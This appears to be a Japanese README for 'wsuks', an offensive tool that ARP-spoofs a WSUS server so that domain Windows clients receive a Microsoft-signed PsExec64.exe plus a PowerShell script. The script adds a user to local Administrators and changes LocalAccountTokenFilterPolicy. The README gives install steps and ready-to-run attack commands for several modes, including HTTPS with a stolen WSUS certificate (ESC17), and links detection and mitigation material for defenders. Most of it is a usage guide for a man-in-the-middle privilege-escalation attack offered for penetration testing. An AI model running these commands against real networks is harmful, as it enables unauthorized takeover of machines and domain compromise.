
ARP経由でWindows Updateトラフィックをスプーフィングし、PowerShellペイロードを含む署名済み実行ファイルを配信して、ローカル管理者への権限昇格を行う自動化WSUS MITMツール。
WSUS攻撃の自動化
ドメインに参加しているWindowsマシンへのローカル管理者アクセスを取得することは、通常、ペネトレーションテスト中の最初のステップです。多くの場合、Windows Server Update Service (WSUS) はHTTPを使用してローカルネットワーク上のクライアントに更新を展開するように構成されています。HTTPSのセキュリティがない場合、攻撃者は中間者攻撃を仕掛けてクライアントに更新を配信し、その更新がSYSTEM権限で実行されるようにすることができます。任意のMicrosoft署名付き実行可能ファイルを更新として配信できます。実行可能ファイルが実行されるカスタムコマンドも含まれます。攻撃者がWSUSサーバーのTLS証明書を取得できる場合、この手法はHTTPS経由でも実行できます(ESC17およびブログ記事を参照)。
WSUS攻撃を自動的に悪用するために、このツールはARPを使用してネットワーク上のWSUSサーバーのIPアドレスを偽装し、対象クライアントがWindows Updateを要求すると、ローカル管理者権限を取得するための定義済みPowerShellスクリプトとともにPsExec64.exeを配信します。配信される実行可能ファイル(デフォルト:PsExec64.exe)と実行されるコマンドは、必要に応じて変更できます。
デフォルトでは、Windowsクライアントは約24時間ごとに更新を確認します。
前提条件:
結果:
実装されている機能:
pipxを使用(推奨):
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks
poetryを使用:
sudo apt install pipx git python3-nftables # poetry should still be installed with pipx, but apt will work as well
sudo pipx install poetry
sudo ln -s /root/.local/bin/poetry /usr/sbin/poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install
❗wsuksはrootとして実行する必要があります❗
pipxを使用する場合は、システム上のどこでも sudo wsuks ... を実行するだけです。
poetryを使用する場合は、wsuksフォルダ内にいる必要があり、各コマンドを sudo poetry run wsuks ... で開始する必要があります。
このツールには nftables パッケージのインストールが必要です。これはすべてのDebianベースのシステムでデフォルトです。
wsuksを実行できる3つの異なるモード/攻撃シナリオがあります:
既にドメインユーザーを持っている場合、wsuksはドメインコントローラー上のGPOを解析してWSUSサーバーを見つけます。
提供されたドメインユーザーをローカル管理者グループに追加するPowerShellスクリプトが実行されます。
sudo wsuks -t 10.0.0.10 -u User -p Password -d domain.local --dc-ip 10.0.0.1
ヒント: WSUSサーバーの確認のみを行いたい場合は、--only-discover フラグを使用できます。
定義済みのPowerShellスクリプトは次のアクションを実行します:
⚠ LocalAccountTokenFilterPolicyを1に設定する前に、元の値がユーザー説明フィールドに保存され、後で復元できるようになっています
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20
既にドメインユーザーを持ち、WSUSサーバーのIPを知っている場合、wsuksはユーザーをローカルのAdministratorsグループに追加するだけです。
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -d domain.local
トラフィックが既に攻撃者のマシンにリダイレクトされている場合(例:DNSを制御している場合)、wsuksはARPスプーフィングとルーティング自体を実行せずに、悪意のある実行可能ファイルとコマンドの配信のみに使用できます。
これは単に、指定されたインターフェース上でHTTPサーバーを起動します。
sudo wsuks --serve-only
攻撃者がWSUSサーバー用のTLS証明書(例:ESC17経由)を取得できる場合、攻撃はHTTPS経由でも実行できます。
上記のすべてのシナリオに適用されます。証明書へのパスを指定して --tls-cert フラグを追加するだけです。
sudo wsuks -t 10.0.0.10 --WSUS-Server secure.wsus.domain.local --tls-cert cert.pem
既知のWSUSサーバーを使用した攻撃の短いデモです:

GoSecureのPyWSUSリポジトリには、この攻撃を検出および緩和する方法に関する優れたドキュメントがあります。
また、この攻撃がどのように詳細に機能するかを示す優れたガイドもこちらにあります。
ESC17に関する緩和策の推奨事項については、certipy wikiを確認してください。
このツールの一部は以下のプロジェクトに基づいています: